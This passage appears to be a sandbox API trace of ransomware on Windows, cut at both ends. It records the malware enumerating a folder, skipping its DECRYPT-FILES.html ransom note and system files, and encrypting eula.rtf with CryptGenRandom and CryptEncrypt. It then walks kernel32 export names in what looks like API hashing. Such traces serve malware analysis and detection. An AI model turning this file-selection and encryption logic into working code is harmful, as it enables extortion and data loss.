lpString1="C:\\588bce7c90097ed212\\1031\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1031\\*") returned="C:\\588bce7c90097ed212\\1031\\*" [0118.946] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4d264d73, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81140 [0118.946] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.946] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4d264d73, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0118.947] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.947] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.947] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d264d73, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4d264d73, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4d264d73, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0118.947] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0118.947] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d264d73, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4d264d73, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4d264d73, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0118.947] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0118.947] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0118.947] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0118.947] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0118.947] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0118.947] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0118.947] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0118.947] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0118.947] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0118.947] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0118.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\") returned 27 [0118.947] lstrlenW (lpString="eogwkz.dat") returned 10 [0118.947] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1031\\" | out: lpString1="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0118.947] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1031\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1031\\eogwkz.dat" [0118.947] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0118.948] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1031\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0118.948] CloseHandle (hObject=0x0) returned 0 [0118.948] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.948] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0118.948] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0118.948] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0118.948] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0118.948] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0118.948] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0118.948] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0118.948] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0118.948] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0118.948] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0118.948] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0118.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\") returned 27 [0118.948] lstrlenW (lpString="eula.rtf") returned 8 [0118.948] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1031\\" | out: lpString1="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0118.948] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf" [0118.948] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0118.949] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0118.949] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3419) returned 1 [0118.949] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0118.949] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0119.405] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0119.405] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0119.405] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0119.405] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0119.406] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0119.406] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.407] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0119.407] CloseHandle (hObject=0x5f8) returned 1 [0119.407] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.407] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x5f4) returned 1 [0119.408] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.409] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.410] GetTickCount () returned 0x3349e [0119.410] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0119.410] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0119.410] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0119.410] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0119.411] lstrlenA (lpString="kernel32.dll") returned 12 [0119.411] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0119.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0119.411] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0119.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0119.411] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0119.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0119.411] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0119.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0119.411] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0119.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0119.411] lstrlenA (lpString="ADDATOMA") returned 8 [0119.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0119.411] lstrlenA (lpString="ADDATOMW") returned 8 [0119.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0119.411] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0119.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0119.411] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0119.412] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0119.412] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0119.412] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0119.412] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0119.412] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0119.412] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0119.412] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0119.412] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0119.412] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0119.412] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0119.412] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0119.412] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0119.412] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0119.412] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0119.412] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0119.412] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0119.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0119.412] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0119.413] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0119.413] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0119.413] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0119.413] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0119.413] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0119.413] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0119.413] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0119.413] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0119.413] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0119.413] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0119.413] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0119.413] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0119.413] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0119.413] lstrlenA (lpString="BACKUPREAD") returned 10 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0119.413] lstrlenA (lpString="BACKUPSEEK") returned 10 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0119.413] lstrlenA (lpString="BACKUPWRITE") returned 11 [0119.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0119.413] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0119.414] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0119.414] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0119.414] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0119.414] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0119.414] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0119.414] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0119.414] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0119.414] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0119.414] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0119.414] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0119.414] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0119.414] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0119.414] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0119.414] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0119.414] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0119.414] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0119.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0119.415] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0119.415] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0119.415] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0119.415] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0119.415] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0119.415] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0119.415] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0119.415] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0119.415] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0119.415] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0119.415] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0119.415] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0119.415] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0119.415] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0119.415] lstrcpyA (in: lpString1=0x38bdb2c, 